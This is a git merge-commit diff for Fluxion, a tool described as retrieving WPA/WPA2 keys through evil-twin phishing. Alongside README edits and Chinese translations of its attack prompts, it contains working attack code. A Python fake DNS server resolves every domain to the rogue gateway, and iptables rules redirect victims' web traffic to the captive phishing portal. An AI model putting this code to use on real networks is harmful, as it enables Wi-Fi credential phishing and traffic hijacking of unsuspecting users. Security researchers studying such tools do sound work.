Merge remote-tracking branch 'origin/master' into resumable-attacks
This commit is contained in:
commit
a95b67efd9
|
@ -2,7 +2,7 @@
|
|||
<!--
|
||||
Note: All issues will instant closed if the issue template is not complete. Please understand that it is easier for us if you fill out the template to help you faster.
|
||||
|
||||
!All text inside \<\!-- \--\> is not seen for us so please remove the arrows.
|
||||
!All text inside \<\!-- \--\> will be hidden from us so please remove the arrows in the statements below.
|
||||
-->
|
||||
#### Read the [wiki](https://github.com/FluxionNetwork/fluxion/wiki)?
|
||||
No*
|
||||
|
|
18
README.md
18
README.md
|
@ -3,7 +3,7 @@
|
|||
# Fluxion is the future of MITM WPA attacks
|
||||
Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues.
|
||||
|
||||
If you need quick help, fluxion is also avaible on gitter. You can talk with us [here](https://gitter.im/FluxionNetwork/Lobby)
|
||||
If you need quick help, fluxion is also avaible on gitter. You can talk with us on [Gitter](https://gitter.im/FluxionNetwork/Lobby) or on [Discord](https://discord.gg/G43gptk).
|
||||
## Installation
|
||||
Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps.
|
||||
<br>
|
||||
|
@ -20,6 +20,17 @@ cd fluxion
|
|||
./fluxion.sh
|
||||
```
|
||||
|
||||
**Fluxion is also available in arch**
|
||||
```
|
||||
cd bin/arch
|
||||
makepkg
|
||||
```
|
||||
|
||||
or using the blackarch repo
|
||||
```
|
||||
pacman -S fluxion
|
||||
```
|
||||
|
||||
## :scroll: Changelog
|
||||
Fluxion gets weekly updates with new features, improvements, and bugfixes.
|
||||
Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).
|
||||
|
@ -70,4 +81,7 @@ For development I use vim and tmux. Here are my [dotfiles](https://github.com/de
|
|||
|
||||
* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately**
|
||||
|
||||
|
||||
## Links
|
||||
**Fluxion website:** https://fluxionnetwork.github.io/fluxion/ <br>
|
||||
**Discord:** https://discordapp.com/invite/G43gptk <br>
|
||||
**Gitter:** https://gitter.im/FluxionNetwork/Lobby <br>
|
||||
|
|
|
@ -711,48 +711,53 @@ index-file.names = (
|
|||
|
||||
# Create a DNS service with python, forwarding all traffic to gateway.
|
||||
echo "\
|
||||
#!/usr/bin/env python2
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import socket
|
||||
|
||||
|
||||
class DNSQuery:
|
||||
def __init__(self, data):
|
||||
self.data=data
|
||||
self.dominio=''
|
||||
def __init__(self, data):
|
||||
self.data=data
|
||||
self.dominio=''
|
||||
|
||||
tipo = (ord(data[2]) >> 3) & 15
|
||||
if tipo == 0:
|
||||
ini=12
|
||||
lon=ord(data[ini])
|
||||
while lon != 0:
|
||||
self.dominio+=data[ini+1:ini+lon+1]+'.'
|
||||
ini+=lon+1
|
||||
lon=ord(data[ini])
|
||||
tipo = (ord(data[2]) >> 3) & 15
|
||||
if tipo == 0:
|
||||
ini=12
|
||||
lon=ord(data[ini])
|
||||
while lon != 0:
|
||||
self.dominio+=data[ini + 1:ini + lon + 1] + '.'
|
||||
ini += lon + 1
|
||||
lon=ord(data[ini])
|
||||
|
||||
def respuesta(self, ip):
|
||||
packet=''
|
||||
if self.dominio:
|
||||
packet+=self.data[:2] + '\x81\x80'
|
||||
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
|
||||
packet+=self.data[12:]
|
||||
packet+='\xc0\x0c'
|
||||
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
|
||||
packet+=str.join('', map(lambda x: chr(int(x)), ip.split('.')))
|
||||
return packet
|
||||
|
||||
def respuesta(self, ip):
|
||||
packet=''
|
||||
if self.dominio:
|
||||
packet+=self.data[:2] + \"\x81\x80\"
|
||||
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
|
||||
packet+=self.data[12:]
|
||||
packet+='\xc0\x0c'
|
||||
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
|
||||
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
|
||||
return packet
|
||||
|
||||
if __name__ == '__main__':
|
||||
ip='$CaptivePortalGatewayAddress'
|
||||
print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip
|
||||
ip='$CaptivePortalGatewayAddress'
|
||||
print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip
|
||||
|
||||
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
udps.bind(('',53))
|
||||
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
udps.bind((ip, 53))
|
||||
|
||||
try:
|
||||
while 1:
|
||||
data, addr = udps.recvfrom(1024)
|
||||
p=DNSQuery(data)
|
||||
udps.sendto(p.respuesta(ip), addr)
|
||||
print 'Request: %s -> %s' % (p.dominio, ip)
|
||||
except KeyboardInterrupt:
|
||||
print 'Finalizando'
|
||||
try:
|
||||
while True:
|
||||
data, addr = udps.recvfrom(1024)
|
||||
p=DNSQuery(data)
|
||||
udps.sendto(p.respuesta(ip), addr)
|
||||
print 'Request: %s -> %s' % (p.dominio, ip)
|
||||
except KeyboardInterrupt:
|
||||
print 'Finalizando'
|
||||
udps.close()\
|
||||
" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
||||
|
||||
|
@ -864,7 +869,7 @@ while [ \$AuthenticatorState = \"running\" ]; do
|
|||
|
||||
local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g")
|
||||
echo "
|
||||
DHCPClients=($(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host))
|
||||
readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host)
|
||||
|
||||
echo
|
||||
echo -e \" ACCESS POINT:\"
|
||||
|
@ -1090,8 +1095,7 @@ captive_portal_unset_routes() {
|
|||
ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null
|
||||
}
|
||||
|
||||
# Set up DHCP / WEB server
|
||||
# Set up DHCP / WEB server
|
||||
# Set up DHCP / WEB server / DNS Firewall
|
||||
captive_portal_set_routes() {
|
||||
# Give an address to the gateway interface in the rogue network.
|
||||
# This makes the interface accessible from the rogue network.
|
||||
|
@ -1107,15 +1111,10 @@ captive_portal_set_routes() {
|
|||
iptables --table nat --flush
|
||||
iptables --delete-chain
|
||||
iptables --table nat --delete-chain
|
||||
iptables -P FORWARD ACCEPT
|
||||
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \
|
||||
--to-destination $CaptivePortalGatewayAddress:80
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \
|
||||
--to-destination $CaptivePortalGatewayAddress:443
|
||||
iptables -A INPUT -p tcp --sport 443 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
|
||||
iptables -t nat -A POSTROUTING -j MASQUERADE
|
||||
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p udp --dport 53 -j ACCEPT
|
||||
iptables -A INPUT -p udp --dport 67 -j ACCEPT
|
||||
}
|
||||
|
||||
captive_portal_stop_interface() {
|
||||
|
|
|
@ -3,10 +3,10 @@
|
|||
# description: 创建一个“邪恶的双胞胎”接入点。
|
||||
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
|
||||
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."
|
||||
CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!"
|
||||
CaptivePortalStartedInterfaceNotice="${CGrn}Success${CClr}, captive portal interface ready!"
|
||||
CaptivePortalInterfaceQuery="为捕获的握手包文件选择一个网络功击接口"
|
||||
CaptivePortalStartingInterfaceNotice="启动握手包文件网络功击接口"
|
||||
CaptivePortalCannotStartInterfaceError="${CRed}无法启动网络功击接口$CClr, 返回"
|
||||
CaptivePortalStartedInterfaceNotice="${CGrn}启动成功${CClr},网络功击接口准备就绪"
|
||||
CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..."
|
||||
CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..."
|
||||
CaptivePortalStartingDHCPServiceNotice="启动接入点DHCP服务作为守护进程..."
|
||||
|
@ -24,9 +24,9 @@ CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)"
|
|||
CaptivePortalUIQuery="选择钓鱼热点的认证网页界面"
|
||||
CaptivePortalGenericInterfaceOption="通用认证网页"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network."
|
||||
CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)"
|
||||
CaptivePortalConnectivityEmulatedOption="emulated"
|
||||
CaptivePortalConnectivityQuery="为流氓网络选择Internet连接类型"
|
||||
CaptivePortalConnectivityDisconnectedOption="断开原网络 (${CGrn}推荐$CClr)"
|
||||
CaptivePortalConnectivityEmulatedOption="仿真"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
|
@ -8,14 +8,14 @@ HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)"
|
|||
HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)"
|
||||
HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?"
|
||||
HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})."
|
||||
HandshakeSnooperVerifierInterval60SOption="Every 60 seconds."
|
||||
HandshakeSnooperVerifierInterval90SOption="Every 90 seconds."
|
||||
HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包"
|
||||
HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})."
|
||||
HandshakeSnooperVerifierInterval60SOption="每60秒钟"
|
||||
HandshakeSnooperVerifierInterval90SOption="每90秒钟"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?"
|
||||
HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})."
|
||||
HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})."
|
||||
HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}推荐${CClr})."
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running."
|
||||
HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HANDSHAKEVerifierInterval seconds."
|
||||
|
|
51
fluxion.sh
51
fluxion.sh
|
@ -23,7 +23,7 @@ readonly FLUXIONNoiseFloor=-90
|
|||
readonly FLUXIONNoiseCeiling=-60
|
||||
|
||||
readonly FLUXIONVersion=4
|
||||
readonly FLUXIONRevision=4
|
||||
readonly FLUXIONRevision=5
|
||||
|
||||
# Declare window ration bigger = smaller windows
|
||||
FLUXIONWindowRatio=4
|
||||
|
@ -164,7 +164,8 @@ fi
|
|||
|
||||
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
|
||||
if [ $FLUXIONDebug ]; then
|
||||
readonly FLUXIONOutputDevice="/dev/stdout"
|
||||
touch /tmp/fluxion_debug_log
|
||||
readonly FLUXIONOutputDevice="/tmp/fluxion_debug_log"
|
||||
readonly FLUXIONHoldXterm="-hold"
|
||||
else
|
||||
readonly FLUXIONOutputDevice="/dev/null"
|
||||
|
@ -190,7 +191,7 @@ readonly InstallerUtilsNoticeMark="$FLUXIONVLine"
|
|||
|
||||
readonly PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"
|
||||
|
||||
declare IOUtilsHeader="fluxion_header"
|
||||
declare IOUtilsHeader="fluxion_header"
|
||||
readonly IOUtilsQueryMark="$FLUXIONVLine"
|
||||
readonly IOUtilsPrompt="$FLUXIONPrompt"
|
||||
|
||||
|
@ -466,33 +467,35 @@ fluxion_set_resolution() { # Windows + Resolution
|
|||
SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))
|
||||
|
||||
# Calculate proportional windows
|
||||
PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
|
||||
NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
|
||||
NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)
|
||||
if hash bc ;then
|
||||
PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
|
||||
NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
|
||||
NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)
|
||||
|
||||
NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
|
||||
NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)
|
||||
NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
|
||||
NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)
|
||||
|
||||
SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2)))
|
||||
SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2)))
|
||||
SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2)))
|
||||
SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2)))
|
||||
|
||||
# Upper windows
|
||||
TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0"
|
||||
TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0"
|
||||
TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0"
|
||||
# Upper windows
|
||||
TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0"
|
||||
TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0"
|
||||
TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0"
|
||||
|
||||
# Lower windows
|
||||
BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0"
|
||||
BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0"
|
||||
BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0"
|
||||
# Lower windows
|
||||
BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0"
|
||||
BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0"
|
||||
BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0"
|
||||
|
||||
# Y mid
|
||||
LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y"
|
||||
RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y"
|
||||
# Y mid
|
||||
LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y"
|
||||
RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y"
|
||||
|
||||
# Big
|
||||
TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
|
||||
TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
|
||||
# Big
|
||||
TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
|
||||
TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -10,18 +10,18 @@ FLUXIONFindingWINotice="寻找可用的USB外部网卡接口设备..."
|
|||
FLUXIONSelectedBusyWIError="选择的USB外部网卡接口设备正在被调用!"
|
||||
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
|
||||
FLUXIONGatheringWIInfoNotice="采集接口信息..."
|
||||
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
|
||||
FLUXIONUnknownWIDriverError="找不到网卡设备"
|
||||
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
|
||||
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
|
||||
FLUXIONFindingConflictingProcessesNotice="自动查询干扰Fluxion运行的进程..."
|
||||
FLUXIONKillingConflictingProcessesNotice="结束干扰Fluxion运行的进程..."
|
||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
||||
FLUXIONStartingWIMonitorNotice="启动监听模式..."
|
||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled."
|
||||
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!"
|
||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}监听模式启动成功"
|
||||
FLUXIONMonitorModeWIFailedError="${CRed}监听模式启动失败"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
FLUXIONStartingScannerNotice="启动扫描, 请稍等..."
|
||||
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
|
||||
FLUXIONStartingScannerTip="目标AP出现后,按 Ctrl+C 关闭FLUXION扫描"
|
||||
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
||||
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
||||
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
||||
|
|
|
@ -190,6 +190,7 @@ function installer_utils_check_dependencies() {
|
|||
# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array
|
||||
function installer_utils_run_dependencies() {
|
||||
if [ ! "$1" ]; then return 1; fi
|
||||
ping -q -w 1 -c 1 8.8.8.8 > /dev/null || $(echo -e "\n[!] No internet connection found"; exit 1)
|
||||
|
||||
# The array below holds all the packages that will be installed.
|
||||
local __installer_utils_run_dependencies__dependenciesInfo=("${!1}")
|
||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -20,10 +20,10 @@ if [ ! "$1" ]; then
|
|||
fi
|
||||
|
||||
echo "$HEADER_SIZE FLUXION Info"
|
||||
if [ -f "fluxion" ];then
|
||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion))
|
||||
if [ -f "fluxion.sh" ];then
|
||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh))
|
||||
else
|
||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion))
|
||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh))
|
||||
fi
|
||||
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
||||
echo -ne "\n\n"
|
||||
|
|
Loading…
Reference in New Issue